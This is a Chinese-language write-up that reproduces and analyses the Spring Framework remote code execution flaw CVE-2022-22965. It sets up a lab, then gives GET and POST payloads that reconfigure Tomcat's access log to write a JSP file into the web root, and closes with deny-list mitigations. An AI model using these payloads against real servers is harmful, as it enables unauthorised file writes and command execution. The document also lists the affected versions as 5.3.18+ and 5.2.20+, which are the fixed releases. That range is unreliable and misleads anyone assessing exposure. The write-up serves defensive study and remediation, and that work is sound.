Spring框架远程命令执行复现(CVE-2022-22965)
字数 1404 2025-08-12 11:33:35
Spring框架远程命令执行漏洞(CVE-2022-22965)复现与分析
一、漏洞概述
漏洞编号:CVE-2022-22965 / CNVD-2022-23942
漏洞评级:高危
披露时间:2022年3月30日
影响组件:Spring框架的参数绑定功能
该漏洞允许攻击者在满足特定条件下,通过框架的参数绑定功能获取AccessLogValve对象并注入恶意字段值,触发pipeline机制写入任意路径下的文件,从而实现Webshell写入和远程命令执行。
二、漏洞利用条件
- Servlet容器:使用Apache Tomcat作为Servlet容器
- JDK版本:JDK 9及以上版本
- Spring框架:
- Spring Framework 5.3.18+
- Spring Framework 5.2.20+
- 或存在spring-beans-*.jar文件的衍生框架
三、漏洞影响范围
- JDK版本:JDK 9+
- Spring框架版本:
- Spring Framework 5.3.18+
- Spring Framework 5.2.20+
四、漏洞复现环境搭建
1. 基础环境准备
操作系统:CentOS 7 (192.168.114.100)
工具:FinalShell、Burp Suite、VMware Workstation Pro 16
2. 网络配置步骤
-
虚拟机网络配置:
- 编辑 → 虚拟机网络编辑器
- 取消勾选"使用本地DHCP服务..."
- 记录NAT子网和网关信息
-
主机网络适配器设置:
- 控制面板 → 网络和Internet → 网络和共享中心
- 更改适配器设置 → 右键VMware Virtual Ethernet Adapter for VMnet8
- 属性 → Internet协议版本4 → 设置网关和IP
-
虚拟主机网络配置:
cd /etc/sysconfig/network-scripts/ sudo vi ifcfg-ens33修改配置:
BOOTPROTO=static ONBOOT=yes IPADDR=192.168.114.100 GATEWAY=192.168.114.2 NETMASK=255.255.255.0 DNS1=192.168.114.2重启网络:
service network restart
3. Docker安装
-
配置yum源:
yum install -y yum-utils yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo yum makecache fast -
安装Docker:
yum install docker-ce docker-ce-cli containerd.io -
验证安装:
docker -v systemctl start docker systemctl enable docker
五、漏洞复现过程
1. 漏洞利用链构造
利用链通过修改Tomcat日志配置实现Webshell写入:
class.module.classLoader.resources.context.parent.pipeline.first.pattern= 构建文件内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix= 修改日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory= 写入网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.prefix= 写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= 文件日期格式(可为空)
2. Payload构造
GET请求方式(需分五次发送):
http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Btest%7Di
http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.directory=%2Fapp%2Ftomcat%2Fwebapps%2FROOT%2F
http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile
http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
POST请求方式(推荐):
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Btest%7Di
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
&class.module.classLoader.resources.context.parent.pipeline.first.directory=%2Fapp%2Ftomcat%2Fwebapps%2FROOT%2F
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile
&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
3. 验证利用结果
访问写入的Webshell:
http://192.168.114.100:8090/testfile.jsp
六、漏洞自查方法
-
检查是否使用Spring框架:
- 查找项目文件中是否存在spring-beans-*.jar
- 检查war包中是否存在spring-beans-*.jar或CachedIntrospectionResults.class
- 检查jar包中是否存在spring-beans-*.jar或CachedIntrospectionResults.class
-
检查JDK版本:
- 确认使用的JDK版本是否为9及以上
七、漏洞修复方案
1. WAF防护
在WAF设备上添加过滤规则,拦截包含以下字符串的请求:
class.*, Class.*, *.class.*, *.Class.*
2. 临时修复措施
-
修改@InitBinder注解:
在所有使用@InitBinder注解的方法中,添加以下黑名单:dataBinder.setDisallowedFields(new String[]{"class.*","Class.*","*.class.*","*.Class.*"}); -
添加全局ControllerAdvice:
在Controller包下创建以下全局类:import org.springframework.core.annotation.Order; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.InitBinder; @ControllerAdvice @Order(10000) public class GlobalControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] abd = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"}; dataBinder.setDisallowedFields(abd); } }完成后重新编译打包并测试功能。
八、注意事项
- 复现环境应隔离,避免影响生产系统
- 修复后需进行全面测试,确保业务功能不受影响
- 建议升级到Spring官方发布的安全版本